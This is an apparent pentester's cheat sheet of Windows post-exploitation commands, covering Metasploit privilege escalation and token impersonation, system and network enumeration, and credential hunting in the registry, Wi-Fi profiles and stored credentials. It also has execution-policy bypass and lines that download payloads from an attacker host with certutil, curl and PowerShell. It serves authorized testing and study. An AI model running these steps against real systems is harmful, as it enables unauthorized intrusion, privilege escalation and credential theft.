Windows (Post-Exploitation)
Metasploit Shell
Local Exploit Suggester:
*background current session <background>
{
use post/multi/recon/local_exploit_suggester
set session x
run
}
*after finding valid exploit
{
use exploit/…
set session x
set lport xxxx
set lhost x.x.x.x run
}
Get User: getuid
Get Shell: shell
Grab tokens with incognito: {
load incognito
list_tokens
impersonate_token “TOKEN”
}
Try to Auto-Elevate: getsystem
Migrate to Process: migrate -n <process.exe>
System Info
Basic System Info: systeminfo
Show System Patches: wmic qfe
List Drives: wmic logicaldisk
List Drivers: driverquery
Show All Users: net user
Show Current User: whoami
Show Current User Privs: whoami /priv
Show Current User Groups: whoami /groups
Info On Specific User: net user <user>
Users In Localgroup: net localgroup
Users In Other Groups: net localgroup <group>
Check Processes Status: ps
Check Scheduled Tasks: schtasks /query /fo LIST /v
Check Service Permissions: wmic service list brief
Check for Unquoted Service Paths: wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Networking
Simple Network Info: ipconfig
Advanced Network Info: ipconfig /all
Arp Table: arp -a
Route Table: route print
Netstat Ports: netstat /ano
Get Wifi AP SSID: netsh wlan show profile
Password Hunting
Search For String: findstr /si <string> *.txt *.<filetype>
Search For File: dir /s fileName*
Search In Registry (HKCU): reg query HKLM /f password /t REG_SZ /s
Search In Registry (HKLM): reg query HKCU /f password /t REG_SZ /s
Get Wifi Password: netsh wlan show profile <SSID> key=clear
Cat Out File: type <file>
Dir all files in directory (including hidden): dir /R
Currently Stored Credentials: cmdkey /list
Check Access To registry: powershell Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
Antivirus and Firewall
Service Control Search: sc query <Antivirus>
Quick Service Control Query: sc queryex type= service
Show Firewall State (1): netsh advfirewall firewall dump
Show Firewall State (2): netsh firewall show state
Show Firewall Config: netsh firewall show config
Execution and Uploading Payloads
*run and upload files to temp or user folder which current user has access to. cd c:\\windows\\temp
Powershell Execution Policy Bypass: powershell -ep bypass
Load PowerShell: load powershell
Download File (certutil): certutil -urlcache -f <http://hostip/file> file
Download File (wget): wget -o file http://hostip/file
Download File (curl): curl.exe -o index.html http://hostip/file
Download File (PowerShell): powershell.exe -Command "Invoke-WebRequest -OutFile ./file http://hostip/file"
Runas: C:\Windows\System32\runas.exe /user:<CREDS FOUND> /savecred ‘C:\Windows\System32\cmd.exe /c <Command>
Restart PC from PowerShell: restart-computer